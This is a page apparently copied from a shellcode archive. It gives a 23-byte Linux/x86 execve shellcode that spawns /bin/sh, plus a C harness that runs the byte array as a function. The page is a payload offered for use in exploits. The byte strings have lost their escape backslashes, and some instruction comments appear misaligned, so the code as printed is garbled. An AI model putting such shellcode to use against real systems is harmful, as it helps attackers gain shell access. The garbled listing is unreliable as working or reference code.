[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 execve code 23 bytes
# Published : 2004-11-15
# Author : marcetam
# Previous Title : linux/x86 Magic Byte Self Modifying Code 76 bytes
# Next Title : linux/x86 execve("/bin/ash",0,0); 21 bytes


/************************************************************
* Linux 23 byte execve code. Greetz to preedator            *
*                                          marcetam         *
*                                      admin at marcetam.net   *
*************************************************************/
char linux[]=
  "x99"			/* cdq              */
  "x52"			/* push %edx        */
  "x68x2fx2fx73x68"	/* push $0x68732f2f */
  "x68x2fx62x69x6e"	/* push $0x6e69622f */
  "x89xe3"			/* mov %esp,%ebx    */
  "x52"			/* push %edx        */
  "x54"			/* push %esp        */
  "x54"			/* push %esp        */
  "x59x6a"			/* pop %ecx         */
  "x0bx58"			/* push $0x0b       */
  "xcdx80";			/* int $0x80        */
int main(){
  void (*run)()=(void *)linux;
  printf("%d bytes n",strlen(linux));
  run();
}

// www.Syue.com [2004-11-15]